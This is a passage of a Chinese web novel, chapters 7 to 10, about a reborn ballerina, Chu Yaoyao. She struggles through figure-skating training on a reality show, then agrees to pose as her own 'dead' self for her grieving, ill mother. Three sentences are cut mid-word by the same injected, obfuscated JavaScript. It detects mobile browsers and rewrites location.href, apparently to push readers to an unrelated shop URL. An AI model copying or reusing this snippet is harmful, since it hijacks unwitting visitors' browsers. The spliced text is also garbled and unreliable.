秦佳在她们跟前刹住车,冰刀在冰面刮出一层冰粒子,只见她温柔一笑,说:“看大家的样子,这两天应该休息得很好。” 池小冰今天穿了浅粉色的外套,衬得气色格外得红润,说:“秦老师,我回去又练了练,待会儿您看一下。” “好。”秦佳柔声点头,“有谁休息得不好的吗?” 她说着,眼神依次扫过眼前的四位学员。 这时,陈渺举起了手,“秦老师,休息得不好可以减少训练吗?” “你觉得呢?”秦佳反问,温柔的脸上,眼神顿时变得犀利起来。 “我觉得……”陈渺被秦老师的眼神震慑住了,下意识躲开了她的目光,像个逃课的小学生被班主任抓包,她伸出食指戳了戳楚幺幺的胳膊,把这个难题丢给了她:“你觉得呢?” 楚幺幺站着没动,眼神在秦老师和陈渺身上瞟了个来回,说:“我觉得,你还是不要说话比较好。” 7. 一镜到底挑战。 此时,直播弹幕炸开了锅: 【哈哈哈哈哈相爱相杀吗?】 【我不对劲……】 【我也……】 【故乡的百合花又开了~】 弹幕齐刷刷飘过了一朵朵手打的百合花,场面甚是壮观。 可当事人全然不知发生了何时,陈渺委屈地嘟着嘴,听着秦老师宣布今天的训练任务。 秦老师:“今天我们要进行平衡性测试,我身后的四位是大家的助理教练,他们会带领大家完成今天要学的三个动作——‘燕式平衡’、‘弓箭步’和‘双足转’。等大家学会了这三个动作,下午我们要完成《LaLaLand》一镜到底挑战。” “什么是一镜到底挑战?”池小冰问。 “请四位助教为大家演示一遍。” 说完,四位助教一齐滑向了冰场中间,摆好了开场姿势,背对着他们站着。 背景音乐响起,四位助教依次转过身来,跟随着音乐节奏双脚轮换踢踏着冰面。 此时,一名摄影人员脚踩着滑冰鞋,手中端着摄影机,随之而动,围着四位主演边滑边拍,镜头逐一扫过每个人。 紧接着,节奏陡然一变,悠扬的旋律飘来。 四位助教排成一列,在冰面有条不紊地滑出一个“8”字滑步,然后依次搭着前面人的肩膀,右脚单立,左脚抬高至90度,像一排燕子飞过冰面;随后,首尾的两只燕子相连,在舞台中心聚拢成一个环形,再四散而去,他们轻松自如地在冰面打着圈又滑了两圈,最后各自回到初始位置,在原地旋转了三圈同时停下。 音乐声也戛然而止。 陈渺已经看呆了,伸手把自己惊掉的下巴推了回去。 楚幺幺咽了口口水,她昨天刚学好了“走”,今天又要学“跑”了。 一旁的江舒然还是一贯的冷漠脸,永远大山崩于前而面不改色的模样,倒是池小冰显得格外兴奋。 秦佳拍了拍手,示意大家注意,说:“这就是大家今天要完成的集体展示,如果镜头捕捉到有学员没有完成规定动作,我们就一遍遍重复,直到通过为止。” “这也太难了吧。”陈渺不长记性地又开口了,但这一次,她是真的觉得自己完成不了。 秦佳看了她一眼,说:“知道难,就快开始练习吧,四位助教会一对一帮助大家的。” 大家分组后,便四散而去。 楚幺幺分到的助教是四个助教里最年轻的,约摸二十岁,是个长相清秀的男生,名叫小O。 经过两天的练习,楚幺幺已经可以正常上冰滑步了,可一开始做动作,立马就打回了原形,连连摔跤。 【楚幺幺怎么还在摔,能不能有点进步?】 【还是冰宝好,真不叫人操心!】 【舒然好棒啊,已经在学双足转了!】 楚幺幺扶着小O的手,抬起一只腿,单脚独立在冰上,被小O推着滑行了几米,然后在转弯时,“哐当”一声,又摔倒了。 “别着急,转弯的时候试着侧一下冰刀。”小O扶起跌倒在地上的楚幺幺,说,“其实你平衡感挺好的。” 楚幺幺站起来,拍了拍膝盖,“嗯。” 她学过十年的芭蕾,平衡感、弹跳性、柔韧性都极佳,好在楚幺幺的身体本来柔韧性就不错,自己又磨合了两天,现在,平衡感和弹跳性也慢慢回来了些。 慢慢习惯,会好的,“再来!” 冰面上,四个小组有条不紊地进行着训练,秦佳站在冰场中间,环顾四位学员。 池小冰和江舒然有基础,上手很快;陈渺那个孩子,虽然懒,人却很机灵,看别人做一遍就能记个七七八八了;至于楚幺幺,那孩子…… 秦佳往楚幺幺的方向又多看了两眼,总觉得,有时候她动作标准又优美,有时候又莫名拉垮,就好像不是一个人似的。 这时,楚幺幺摔下了今天的第三十次跤。 她今天没有戴小乌龟,前两天在冰场自我加训,她早已经摔到习惯,身体甚至本能地学会了摔倒前在空中暗暗调整位置,减少冲击。 助教看得不忍,眼前这姑娘虽然学得很慢,但跌倒了总是很快就爬起来,一句抱怨也没有,“先休息下吧。” 楚幺幺点点头,慢慢滑去场边,坐在陈渺的边上。 陈渺见她来了,高兴不已,好奇地问她:“幺幺,你怎么想到来参加这个节目的?” 她刚刚坐在这儿数了,才十分钟,她已经摔了十次了! 楚幺幺听出她话中的意思,说:“我以前,可是运动冠军!” “真的假的?”陈渺不可置信,“不可能吧?” “骗你干嘛?我以前练舞能练八小时,芭蕾舞单脚直立转可以转二十圈。” 别说是单脚直立转,就算是最难的Fouetté(鞭转)也不在话下。 陈渺看着楚幺幺确定的眼神,犹豫了几秒,“那,那你后来怎么变这样了?” 后来?后来她重生了…… 楚幺幺没有回答她这个问题,反问了一句:“那你呢?你怎么来参加这个节目?” 这位大小姐,一不吃苦,二没兴趣,来这儿讨这份罪受。 “我啊?”陈渺的脸上露出了一个羞涩的笑,“我是为了一个人?” “一个人?” 陈渺凑近她的耳边,说了两个字——“陆淮。” ??? 楚幺幺惊讶地睁大了眼,“你是说,影帝陆淮?” 陈渺捂着嘴偷笑起来,一边疯狂点头,她又凑到楚幺幺的耳边,小声说:“我看我们的名字,还是情侣名,是不是天生一对?” 陈渺,陆淮……偏旁都是一样的。 楚幺幺嘴角抽搐了,可能这就是小女生的暗恋情愫吧,虽然她不懂,“你让你爸绑了他送来,兴许还快点。” 香蕉视频的CEO在业内也是有头有脸的大人物,莫说陆淮了,就算是老牌的影帝也得卖三分面子。 陈渺的声音低下去,“我从小就认识他,但他最近,好像不太想理我,我也不知道为什么……” 陈渺想了想,又说:“自从进了娱乐圈,他好像越来越忙了。” 从小就认识? 香蕉视频的公主和影帝陆淮竟然是青梅竹马?这可是个大新闻,看样子,公主还是单恋。 楚幺幺心里这么想着,见陈渺每天笑口常开的脸上此刻已爬上阴霾,于是便安慰道:“反正我知道,他现在还没有女朋友。” “真的?”陈渺立马笑逐颜开。 “当然!”虽然前身只和他搭过一个月的戏,但楚幺幺百分百确定,陆淮身边连只母苍蝇都没有。 陈渺更开心了,说:“没想到你这种糊咖,知道的还很多诶!” “呵呵,你真会说话。” 陈渺一把抱住了楚幺幺,“唉,可惜了,你怎么就有主了呢?不然我一定把你签到我爸的公司去!” “为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203450|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” “因为我一看你就是个‘招财猫’啊!”陈渺说着,在她脸上大大地亲了一口。 楚幺幺还想再问点什么,可不远处,秦佳已经吹着哨子提醒大家合体彩排,只好欲言又止。 四人在冰场中间排好了阵型,音乐响起。 “8”字滑步,平稳度过…… 燕式平衡,摄像机刚扫过楚幺幺,她的冰刀差点踢到镜头,她躲闪了一下,重心不稳便又摔倒了。 音乐声戛然而止。 “再来一遍。”秦老师说。 重新开始,循环往复,失误人人都有,但楚幺幺占了近七成。 当她们终于练到第十八遍时,楚幺幺最后的双足转却没转够圈数,只转了两圈,秦老师很是严格,说这一遍也不算。 大家的体力都有点吃不消了,这几个动作对专业选手是不难,可对于她们这种业余选手,光是控制冰刃和平衡就够耗力气的了。 陈渺已经累得整个人趴在扶手上借力,眼神迷离,“幺幺,休……休息一下。” “再来一遍!” “再来一遍!” 异口同声。 楚幺幺循声望去,是江舒然。 两人对望了一眼,并没有交流。 “啊~还来啊~”陈渺一脸的痛苦面具,拖着颤抖的双腿往冰场中央麻木地走去,“苍天啊~我好累啊!” 四人就位,音乐又起。 明快的音乐节奏在空气中跳跃,节奏逐渐变缓,四人犹如四只小天鹅,在湖面有条不紊地滑过。 “8”字滑步……燕式平衡……个人弓箭步……集体双足转…… 镜头逐一扫过,又拉远给了一个全景镜头,画面定格在最后“双足转”的姿势。 “卡!”场外的摄影导演喊了一声。 秦老师站在场边看回放,在心里满意地点着头,没有人掉链子,非常完美,楚幺幺的动作甚至做得异常标准。 众人小心翼翼地望着秦老师的脸,祈祷地等待着她的答复。 “过了!”秦老师说。 “耶诶!”陈渺第一个跳了起来,她脚上踩着滑冰鞋,踉跄了一下,险些滑倒。 楚幺幺如释重负地吐出一口气,终于过关了,再下去,她也吃不消了。 …… 晚上,滑冰场内。 楚幺幺换了一身衣服,反复练习着今天刚学的三个动作,少了助教的帮扶,她跌倒的次数更多了。 这片场地早上供她们拍摄节目,其余时候,只要是在节目录制期间,学员可以随时来训练。 她已经在这里加练了三个小时,可是好像并没有什么起色。 下午“一镜到底”的最后一遍,好像是她今天滑得最好的一次,那之后,她就再也找不到感觉了。 拍摄七小时,训练三小时,她的体能已经达到极限。 楚幺幺在场外的长椅上坐下,喝了口水含在嘴里,呆呆地坐着晃了会儿神。到底是哪里不对,难道真的不行吗? 此时,墙壁上的挂钟已经指向零点。 不知恍惚了多久,她才终于叹了口气,开始动手解滑冰鞋的鞋带,慢悠悠地把鞋装进收纳袋,背起包往外走。 太累了,还很困。 刚出冰场的大门,一个穿着黑色西装的男人不知从哪里走了过来,朝楚幺幺微微欠了欠身,说:“楚小姐,裴总要我送您回家。” 是裴宴林的特别助理——林岩。 8. 这换谁习惯得了啊 “裴总?” 楚幺幺往外瞧了瞧,并没有看到裴宴林的身影。 “是的,裴总说等您结束,让我送您回去。” 楚幺幺搜寻人无果,终于收回了视线,她冲一笑,说:“麻烦你,小林。” 说完,她便走向停在路边的迈巴赫,熟练地上了车,靠在后座的真皮座椅上,闭上眼养神,思绪开始乱飘。 滑冰和练舞毕竟还是不一样,即便是程漾,也没有百分百的信心可以做到完美,更何况是现在的楚幺幺,连最基础的身体条件都跟不上。 林岩透过后视镜看她,暗自腹诽:这姑娘和裴总什么关系?竟然知道他的名字? 楚幺幺感觉车子久久没有启动,睁开了眼,在后视镜里正好看到林岩在看她。 林岩盯人被撞破,难掩尴尬地一笑,说:“楚小姐,您好像瘦了。” 半个月前,楚幺幺在寰宇门口拦下了裴总的车子,那时候的脸还比现在圆润一圈,这才不过半月,隐隐都能看到下颚线了。 “是吗?”楚幺幺摸摸自己的脸,疲惫的眼皮掀了掀,说,“最近可能太累了。” “那您睡一会儿,到了我叫您。” …… 第二日,楚幺幺睡到十点才起。 姜书语和沈清柠早早就出了门,还在冰箱贴上给她留了言。 她喝了一大杯水,想起了裴宴林。 昨天既然能让司机送她,为什么不亲自送她? 真是猜不透。 那家伙,好像快生日了。 楚幺幺想着,打开了银行卡的界面,里面躺着5万块的综艺打款。 她简单梳洗了一翻,直奔北山购物中心,买了一对Vansr的男士袖扣,银行账户立马只剩下了零头。 寰宇大楼的总裁办公室里,裴宴林正低头批阅文件,楚幺幺在门口轻轻叩了门。 “裴总。”她喊了一声。 裴宴林抬起头朝她看去,合上手中的文件,放在桌角。 楚幺幺走近,将手中的礼物盒子放到他的办公桌上,说:“裴总,这是昨天你让小林送我回家的谢礼。” 裴宴林瞟了一眼礼品盒的Logo,是他平常惯用的牌子,“举手之劳,不用客气。” 楚幺幺见他没有要接的样子,就又说:“你收下吧,你也知道,这家店不好退的。” 裴宴林靠着椅背,看了楚幺幺几秒,终于还是接过了礼物盒,转手收进了办公桌右侧的抽屉中,“谢谢。” 楚幺幺还是没走,裴宴林看着她,两人视线相交,都没有移开。 他也不知昨天自己为何会去冰场,程漾过世后,他已经很久没有去了。 昨天看到楚幺幺在冰场上训练,一遍又一遍地跌倒,一遍又一遍地爬起来,恍惚间仿佛看到了程漾。 以前她训练的时候也是这样,每一个动作不做到完美不会停下。十七岁离家,在经纪公司训练了三年才出道,这三年里,她每一次的训练考评都是第一名。 当他看到楚幺幺狠狠地砸向冰面时,脑海里浮现程漾跟腱断裂时跌倒在台上的样子,他皱着眉问了工作人员她在这儿练了多久,工作人员告诉他两个小时,那时已经快十一点了。 他刚要走,就看到楚幺幺从地上爬起来,扶着一旁的扶手坐下,失落地用手背擦了擦鼻尖,顿了顿,又擦了擦——那是程漾思考时才会做的动作。 那一刹那,他有些恍惚了,才鬼使神差地要司机留下来等她回家。 裴宴林像是又想到了什么,抬头看向楚幺幺,问:“你今天有空吗?” 楚幺幺有些茫然,今天她没有给自己安排额外的训练任务,她的自信心昨天受到了很大的打击,现在只想休息一下,“有空。” 裴宴林站了起来,整了整西装外套往外走去,“跟我走。” …… 车子一路往郊区开去,在一栋白色的别墅建筑前停了下来,这是楚幺幺第一次拦裴宴林的车时来的地方。 楚幺幺跟在裴宴林身后走进那栋别墅。 八年了,她第一次重新回到这个家。 管家张妈开了门,说:“小裴先生,您又来看太太了。” “嗯。”裴宴林说,“小姐的房间,都收拾好了吗?” “都收拾好了,和她走之前一模一样。” 楚幺幺觉得五脏六腑有一股热浪席卷而来,心中五味杂陈。 裴宴林将她带到了她以前住的房间,说:“你和阿漾关系好,挑一些她喜欢的东西,我给她烧过去。” 楚幺幺愣住了。 这时,裴宴林拿起了床边的星黛露娃娃,那是她以前抱着入睡的玩具,她喜欢得不得了。 “等一下!”楚幺幺拦住了裴宴林,企图制止他惨无人道的行为,“阿漾姐姐已经不喜欢这个玩具了,不用烧。” “是吗?” “是呀,她已经长大了,不喜欢了。” 裴宴林放下了手中的玩具,楚幺幺如释重负地呼出了一口气。 裴宴林转身又拿起了一旁那只价值八十万的包包,那是她高中毕业时,哥哥买给她的毕业礼物。 “等一下!”楚幺幺再次拦在了裴宴林的前面,“这只包已经过气了,她也不喜欢了。” “是吗?” 楚幺幺认真地点了点头,眼神坚定而诚恳。 裴宴林放下了手中的包,楚幺幺刚要松口气,就听到裴宴林低沉的声音在她的耳边响起,“楚幺幺,你很奇怪。” 他竟然,记得她的名字? 楚幺幺对上他的眼神,犀利得让她不敢再望第二眼,“不是你说的嘛,要挑阿漾姐姐喜欢的东西给她烧过去,这些她都不喜欢。” 裴宴林看着她几秒,不知经过了何种心路历程,才说:“你挑吧。” 楚幺幺在房间里环顾了一番,这里的格局还保留着从前的样子。 她快步走到床边的书架上,掏了几本书出来,“这些吧,阿漾姐姐最喜欢看书了。” 那几本书是裴宴林找了很久才帮程漾找到的。 那时候,程漾沉迷一位并不有名的香港老牌作家,出版读物在上世纪九十年代,排版还是纵列的,连市图书馆都没有馆藏。裴宴林托人找了关系,才在别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203451|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家的桌脚下买到了这几本。 裴宴林点点头,说:“你再看看还有什么。” 说完,他便转身出了房间。 楚幺幺在房间里转了转,自从十七岁进入MG公司做练习生,她和爸爸就彻底决裂了,再也没有回过这个家。回国后,她每一次和妈妈见面都是在裴宴林的安排下,偷偷摸摸的。 她打开了书桌右侧的抽屉,从里面拿出一个八音盒,打开后里面有一张拍立得照片,照片上是十七岁的程漾和十七岁的裴宴林,两个人穿着同样的校服,脸上洋溢着笑,面前摆着一个生日蛋糕。 那是裴宴林十七岁生日时拍的。 楚幺幺趁着没人注意,悄咪咪地将这张照片塞进了自己的兜里。 “还有吗?”裴宴林不知何时回来了,手里多了一个商用大皮包。 楚幺幺被他突然的声音吓了一跳,慌乱地转过身,第一次在自己的房间做贼,还真是挺不习惯的。 这换谁习惯得了啊…… 她伸手一指桌上的八音盒,说:“这个,这个八音盒她也很喜欢。” 裴宴林走近了,把音乐盒连同那几本书一起装进了皮包里。 “小裴先生,”这时,张妈端着托盘出现在门口,“太太该吃药了。” 裴宴林应了一声,跟着张妈走了出去。 楚幺幺也跟了上去。 他们在二楼的一间房间门口停下,张妈敲了敲门,推门而入,口中说着:“太太,该吃药了。” 楚幺幺站在门口没有进去,她不知道自己该以什么身份进入这个房间,她的双手握紧了拳头,从开着的十公分的门缝中偷偷往里瞧。 里头传来了一位温柔妇人的声音,温柔得就像天边的云,“宴林,你来啦。” “伯母,最近有听话吃药吗?” “我有好好吃药。”妇人坐在落地窗前的躺椅上,正晒着太阳,她温柔的脸上露出了亲切的笑,说:“你说的,我好好吃药,你就带漾漾来看我,她怎么这么久没来了?” 语气中很是失落。 楚幺幺的眼底一酸,抬手用牙齿咬住了自己食指的指节,用一点点的疼痛压抑泛上来的眼泪。 自从哥哥过世后,妈妈的精神受了很大的刺激,状态好的时候还能认得几个人,状态不好的时候,甚至需要用绳子绑在床上。 “阿漾最近太忙了,等她有空了就来看你。”是裴宴林的声音。 “你们俩就哄我吧,你告诉漾漾,工作不要太累,要照顾自己的身体。”程母没有多计较,端起了水杯,吞下了张妈为她准备的那两粒药,随后,她看见门外似乎有个人,柔声询问道:“谁在外面?怎么不进来坐坐?” 楚幺幺听到这话,强力控制住了自己的情绪,轻轻地推开了程母的房门。 里头,程母靠窗坐着,裴宴林正蹲在她的旁边同她说话。 她往里走了几步,望着妈妈熟悉的脸庞,颤抖的嘴唇艰难的发出几个音节:“阿……阿姨。” 程母有些疑惑地看着她,突然温柔一笑,朝她伸出了手,说了一句——“漾漾,到妈妈这儿来。” 9. 扮演女儿 程母柔软的手握住了楚幺幺,拉着她往自己的方向又靠了靠。 楚幺幺有些错愕,但还是顺从地任由妈妈拉着,在她的脚边蹲下了。 程母将她的手搭在自己的膝盖上,轻轻的拍着,说:“宴林还说你不来了,我就知道是骗我的。” 裴宴林的手里还拿着药和水杯,他看向楚幺幺,后者只是低着头不说话。 程母望着蹲在自己跟前的两个孩子,说:“你们怎么不讲话?以前总是话很多的呀,今天吵架了?” “没……有。”楚幺幺回道,喉咙里像是被什么东西卡住了似的难受。 “宴林都不舍得同你置气,一定是你又闹小脾气了。” 程母的话音刚落,门外响起了敲门声。 张妈还端着放药的托盘站在一旁,她往门口望去,对着来人喊道:“先生,您回来啦。” 楚幺幺的身体猛地一僵,她缓缓转过头,看向正从门外进来的程父。他比印象里瘦了些,白头发也比之前多了许多,脸上难掩憔悴,可眼神还和记忆中一样坚定决绝。 她永远忘不了,同他决裂那天,他打在她脸上的那一巴掌,火辣辣地疼。 程父穿着浅蓝色的衬衫,西装外套挂在手臂上,看起来像是刚下了会议回来,他看向蹲在程母脚边的楚幺幺,两人四目相对。 楚幺幺握紧了拳头,指甲将程母膝上的毯子扯出了褶皱,即便过去这么多年,看到父亲她依然还是会从心底里感到畏惧。 “畏惧”,这竟然是一个女儿对父亲的评价。 这时,程母一把搂过了楚幺幺,让她靠在她的大腿上,看着程父说:“漾漾难得回来一趟,你别吓她。” 说着,她的手轻轻地在楚幺幺的后背,一下又一下地拍着安抚她。 即便精神状态如此不好,程母都始终记得女儿和丈夫之间的龃龉。 人人都说,女儿是父母的小棉袄,但程漾不是的,她从小就我行我素,任由自己的性子来。在这个家里,哥哥才是那个小棉袄,只是后来……哥哥不在了。 程父又看了楚幺幺两眼,眼神示意了一下张妈,两人便一道出去了。 “别怕,”程母轻轻抚摸着楚幺幺的头,说,“你爸只是嘴硬。” 楚幺幺握紧了母亲的手,把脸枕在她的手背上,低声轻喃:“我不怕。” 不消一会儿,程父便回来了。 他的目光再次落回到楚幺幺身上,眼神波澜不惊,说道:“楚小姐,请你跟我来一下。” 许是看出了妻子的不放心,他又解释了一句,“我和漾漾说两句话,不会凶她的。” 楚幺幺跟着程父来到书房,房间内部还是老旧的红木装修风格,和别墅的整体风格极其不符。 这栋别墅是她十岁那年搬来的,装修是她喜欢法式风,爸爸本来想装成复古风,但程漾不喜欢那种老派的风格,最后还是哥哥说通了爸爸,只保留了书房装成他喜欢的样子。 程父背对着她站在窗前,思量了许久转过身,看到楚幺幺还站着,便示意她坐在边上的沙发上,说:“楚小姐,我想你也看到了,我的妻子精神状态不是很好,她把你认成了我们刚过世的女儿。” 程漾突然觉得,躲在楚幺幺的身体里,她好像并没有那么害怕了,“您的妻子……病情是不是加重了?” 程父点了点头,脸上的肌肉紧绷着,“这几个月几乎每周都发病,只要一提到女儿死了,她就情绪激动,要打镇静剂。但她今天看到你,似乎平和了很多,甚至能正常和我对话了。” 楚幺幺的目光渐渐沉下去。 她比谁都清楚,母亲受不了第二次失去孩子的打击,失去哥哥时,她已经丢掉了半条命,再失去她,那就是一条命了。 “楚小姐。”程父望着她,几近恳求地说,“如果可以,我希望你能在我妻子面前扮演我们的女儿,报酬方面你可以提,我们不会亏待你。” “扮演你们的女儿?”楚幺幺问。 “是的,楚小姐只要每个月来看望她,叫她‘妈妈’,”程父顿了顿,目光看向了窗外,“就像……就像以前漾漾还在一样。” 楚幺幺看着程父疲倦的脸庞,第一次觉得向来严苛的他此刻如此苍老,“那……我需要叫您爸爸吗?” 程父沉默了几秒,看向她说了两个字:“不用。” 他转过身,背对楚幺幺站着,又说:“我不经常在家,你可以经常来看看她。” “我会的。”楚幺幺说。 对她来说,这是她求之不得的事情。 以前总是裴宴林偷偷摸摸地带妈妈出来见她,现在,她却可以用一个新的身份,光明正大地来了。 楚幺幺退出了房门,就看见程母和裴宴林站在门口。 程母一准是不放心才跟来了,她见楚幺幺出来,忙拉着她的手,柔声询问:“你爸又凶你了?” 楚幺幺冲她一笑,摇了摇头,“没有,爸爸说让我以后常常来看你。” “他真的这么说?”程母脸上露出了欣慰的笑,“他终于想通了,我都跟他说了一百遍了,叫他对你不要那么严厉、那么凶。” 楚幺幺正要陪着程母回屋,裴宴林突然抓住了她的胳膊,两人四目相对。 楚幺幺对程母说:“妈妈,你先回房间,我马上就过去。” “你们俩想讲悄悄话,不让我知道是不是?”程母心领神会地一笑,说,“妈妈不偷听,我回房间等你。” 程母在张妈的搀扶下回了房。 楚幺幺看向裴宴林,指了指书房,解释道:“叔叔说,让我在阿姨面前假装是程漾。” 裴宴林看着她,久久没有说话,看着她的眼神逐渐犀利,修长的手指还抓着楚幺幺的胳膊,手上的力道也渐渐加重了。 “疼!”楚幺幺被握得手都生麻了。 裴宴林这才放开了她。 楚夭夭捂着被掐红的胳膊,望着失神的裴宴林,问他:“程漾回来你高兴吗?” 裴宴林低下了头,他那么骄傲的一个人,此刻眼神里却满是落寞。 “阿漾不会回来了。” 楚幺幺走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203452|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他面前站定,裴宴林足足有一米八七,比她还高出许多,她得抬头仰望他。 她伸出两根手指在他的嘴角比划了一个扯开的动作,说:“笑一个,不然程漾看到要不高兴了。” 裴宴林往后退了一步,拉开了和她的距离。 楚幺幺抬头,望着裴宴林棱角分明的脸,问:“如果,我是说如果,阿漾回来变成了另外一个人,你会接受她吗?” “程漾就是程漾,谁都替代不了。”裴宴林说完,迈着他那双大长腿走了。 两人安抚程母入睡,终于得空回去。 回去的路上,楚幺幺陷入了沉思。 她因为进娱乐圈和爸爸决裂,八年来一刻不停地追逐自己的梦想,可到头来,梦想没有了,家也没有了。现在的她,什么都做不好。 一旁的裴宴林视线往楚幺幺的身上瞟了瞟,此刻的她特别安静,夕阳透过车窗照在她的脸上,睫毛的阴影倒映在脸颊,就像一幅落日油画。 从前程漾也喜欢这样靠着车窗,她还总是抱怨,他这辆车太大了,后排座位中间的隔断太宽,让她没有办法靠在他的肩头睡觉。 “今天还练习吗?”裴宴林打破了沉寂。 楚夭夭回过神,想到了此刻摆在面前的大难题,一股挫败感油然而生,“今天不练了,怎么都练不好……” 到底是谁给她的自信,妄图通过这次综艺,让所有人看到她。 “我看过你上冰。”裴宴林回想起那天晚上看楚幺幺滑冰的样子,说,“相对来说,成年人学滑冰比孩童困难,最大的原因是因为成年人怕摔。” “我不怕摔。”楚幺幺立马否认了。 她已经摔到麻木,如果摔几十遍,几百遍能把滑冰练好,她不在乎。可是……她真的尽力了。 第一次发现人生如此挫败,第一次发现努力也不一定会成功。 “你是不怕摔,但你不信任你的身体。” 不信任她的身体? 裴宴林十岁时就拿了全国花滑锦标赛少年组的冠军,十三岁回国后虽然没有再进行专业训练,但内行的门道却能看个大概,“花滑是需要信念感的,信任你的身体,信任你脚下的冰。可是你滑的时候,在和冰做抗争,甚至和自己的身体做抗争,如果你连对自己的身体最基本的信任都做不到,我劝你还是趁早放弃吧。” 确实,她不信任她的身体。 她潜意识里是嫌弃这具身体的,这具身体让她很不习惯,条件也没有她之前的好,所以她总是极力想要控制它、纠正它,想让它配合她的意识。 这就是为什么,她越想控制身体做好,就越做不好。 她懂了! “你好聪明啊!”楚幺幺喜出望外,下意识地伸手想去拥抱裴宴林,可就在接触到裴宴林漠然的眼神时,她收住了手。 她忘了,她已经不是程漾了。 楚幺幺收回了手,抱膝坐着,嘴角裂开最大的弧度,此刻,心中像是有一股火焰被点燃,一下子席卷她的全身,她望向前排,说道:“小林,去冰场!” 10. 我会有的 今日的训练课程是基本步伐,秦老师在场内环视着四位学员的训练成果,比起初次上冰,大家都进步很大,尤其是楚幺幺。 助理教练小O刚教会楚幺幺单脚滑行、前压步和后压步,他停下身,赞许地鼓起掌来,“你进步好大!” 另外的三位学员,最快的池小冰也才刚开始学后压步,可楚幺幺,不过半小时,已经全数掌握这三个动作的要领,不仅如此,动作还规范优美,颇有舞蹈生的风范。 楚幺幺转了一个圈,在这片冰场上,第一次露出了会心的笑,“我也觉得。” 说完,她往外滑开一步,顺势做起了旋转,冰刃在冰上摩擦,她旋转了十圈才停下来。 裴宴林的那番话,令她茅塞顿开。 她开始信任她的身体,用心感受身体的律动,再加上她这十年的芭蕾舞蹈经验,在冰上做这些动作,一下子全都变得轻松起来。 “要不,再教你点别的吧?”小O的眼中闪烁着兴奋的光芒,这样的天赋他很久没见过了。 “别的?”楚幺幺往周遭看了看,其他人都还在刻苦学习今天的内容,一时半会儿,她们估计还学不完,“学什么?” “小兔跳。” 小O说着,往冰场中央的方向滑去,然后左脚轻轻一跃,右脚在半空一抬一收,安稳落在冰上,动作干净利落。 楚幺幺转了个身,向后滑了几步,脑子里想着刚刚小O的演示,她回过身,往小O的方向滑去,左脚轻跃,右脚抬起再收回,在冰上落定时,前后脚呈现一个微微的弓步,“是这样吗?” 小O双手环胸站在原地,看她做完动作,清秀稚嫩的脸上眉头微皱,摇了摇头。 “不对吗?”楚幺幺困惑,试着又跳了一次。 是这样啊。 “幺幺,你要是十二岁,我一定拉你进省队!”小O的声音里尽是惋惜和激动,她学得这样快,完全不像个业余选手,十八岁,太晚了,实在是太晚了! 楚幺幺被这话夸得脑袋一懵,这是她一个星期前不敢肖想的夸奖,“那你看我这天赋,有没有可能练到4A?” 原是一句玩笑话,可小O却一本正经地托着下巴,思考后认真地说:“4A是不可能的,那是男子选手都很难完成的动作。1A你还可以试试,我回去查查资料,有没有十八岁开始练滑冰进国家队的先例。” 十八岁,实在是太大了。 这次节目里,像小O这样的助教有四个。他们都从极幼的年纪就泡在冰场上——三四岁,路还走不稳,就已经学着在冰上站稳。从小城的露天冰场,一圈一圈滑进省队,再咬着牙滑进国家队的名册。可那本名册太厚了,他们的名字被挤在最边缘的角落,薄得像一道即将被橡皮擦去的铅笔印。 年岁一点点在长,未来一眼到头。 体育竞技本就是一项很看重年龄和体能的事业。 而他们,早就已经被淘汰了。 楚幺幺被他一本正经的样子逗笑了,“我开玩笑的。” “我认真的!”小O义正言辞,“你把今天学的再练一遍,我待会儿问问秦老师。” 楚幺幺顺从地转过身,在冰上一边滑行一边复习前几周教的动作,时而向前,时而向后,她的步伐流畅,宛若一条小蛇在冰面滑行。 每一个转身、每一次滑步都透着天然的美感,仿佛她生来就属于这片冰面。 不远处,池小冰扶着助教的手正在学后压步,抬眼便看到楚幺幺在冰上行云流水的模样,她走了神,一下摔倒在冰面上,“啊!” “没事吧?”助教伸手来扶她。 她坐着没动,抚摸着自己刚刚擦到冰面的右手手肘,看着远处那个如精灵般在冰上飞舞的身影,眼底里有什么东西流过。 …… 晚上,楚幺幺一如既往到冰场训练,可到了才发现,场地里多了一个人——江舒然。 大概是今天的训练,让学霸层也招架不住了吧。 江舒然在场内扶着墙边,一遍遍练习着今天新教的动作,雪白的运动服衬得她整个人更冷了,她在冰场滑了两圈,终于看到了正背着滑冰鞋包,隔着玻璃看她的楚幺幺。 楚幺幺朝她点了点头,江舒然也礼貌地回应,只是脸上并没有笑意。 说起来,来这个节目这么久,楚幺幺好像从没有和她正经说过话。 